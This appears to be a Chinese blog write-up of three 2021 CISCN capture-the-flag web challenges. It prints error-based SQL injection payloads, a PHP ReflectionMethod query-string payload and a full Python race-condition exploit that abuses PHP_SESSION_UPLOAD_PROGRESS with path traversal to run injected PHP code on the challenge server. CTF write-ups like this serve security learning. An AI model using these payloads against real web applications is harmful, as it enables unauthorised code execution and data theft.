2021年 CISCN writeup

原创

slug01sh 于 2021-05-16 18:07:19 发布 622 收藏

分类专栏： 网络空间安全

本文链接：https://blog.csdn.net/qq_43085611/article/details/116898821

网络空间安全 专栏收录该内容

21 篇文章 0 订阅

订阅专栏

2021年 CISCN writeup

文章目录

1.1 easy_sql

进行手动测试，发现可以进行报错注入。Payload 为：

```
') AND updatexml(1, concat(0x7e, (database()), 0x7e), 1)--
```

尝试读取数据库表的表名，发现information关键字被过滤，猜了一下表名为 fl4g、flag，最后确定表名为 flag。

使用 join 爆出字段名。

```
select*from (select * from flag as a join flag b)c
select*from (select * from flag as a join flag b using(id,`no`))c
select*from (select * from flag as a join flag b using(id,`no`,`29023c0e-87b4-4f21-9ba3-f515c88243e2`))c
```

使用 group 语句查询 flag

```
SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag
```

`CISCN{pN9yX-L8msl-YA6OI-WZ5QG-m`，只获得了一半的 flag。

尝试绕过截断。

```
select substr((SELECT group_concat(`29023c0e-87b4-4f21-9ba3-f515c88243e2`) from flag), 30, 60)
```

`-m7DeE-}`，获得另一半的 flag。

最后拼接得到flag为：CISCN{pN9yX-L8msl-YA6Ol-WZ5QG-m7DeE-}

1.2 easy_source

通过扫描目录，发现`.index.php.swo`泄漏源码。

发现和fslh-writeup题目非常相似，尝试利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释。

最后发现flag也是在q函数的注释中，payload为：`?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment`

1.3 middle_source

扫描目录可以发现文件 .listing，在 you_can_seeeeeeee_me.php 路径中可以看到 phpinfo 的信息。

通过 phpinfo 中给出的 session 地址，和首页进行任意文件包含，可以联想到利用PHP_SESSION_UPLOAD_PROGRESS 进行文件包含。

参考文章《利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含》完成 expoit

```python
#-*-coding:utf-8-*-
import threading
import requests
import io
import sys

url="http://121.36.31.240:24071/"
COUNT = 0

file = io.BytesIO(b'a' * 1024 * 50)

def Run(threads_name):
    global COUNT
    read_value = COUNT

    resp = requests.post(
    url=url,
    data={
        'PHP_SESSION_UPLOAD_PROGRESS': '<?php echo "slug01sh";print_r(scandir("/etc/geecbbgagc/adbjhijbed/fhbcce
hdff/bafebihfee/efbdacbhae")); ?>', # session内容
        'cf':'../../../../../../var/lib/php/sessions/ieadabjdfh/sess_flag', # 文件名称
        '':''
        }, # !
    files={'file': ('a.txt', file)},
    cookies={"PHPSESSID": "flag"}, # ! PHPSESSID
    )
    if 'slug01sh' in resp.text:
        print(resp.text)
        sys.exit(0)

    print("COUNT in Thread-%s is %d" % (str(threads_name), read_value))
    COUNT = read_value + 1

def main():
    threads = []
    for j in range(200):
        t = threading.Thread(target=Run,args=(j,))
        threads.append(t)
        t.start()
    for i in range(len(threads)):
        threads[i].join()
    print("Finally, The COUNT is %d" % (COUNT,))

if __name__ == '__main__':
    main()
```

在 data 的 PHP_SESSION_UPLOAD_PROGRESS 字段写入需要执行的代码，最后读到 flag 位于 `/etc/geecbbgagc/adbjhijbed/fhbccehdff/bafebihfee/efbdacbhae`，文件名为 fl444444g。

利用 index.php 的任意文件读取，即可得到 flag。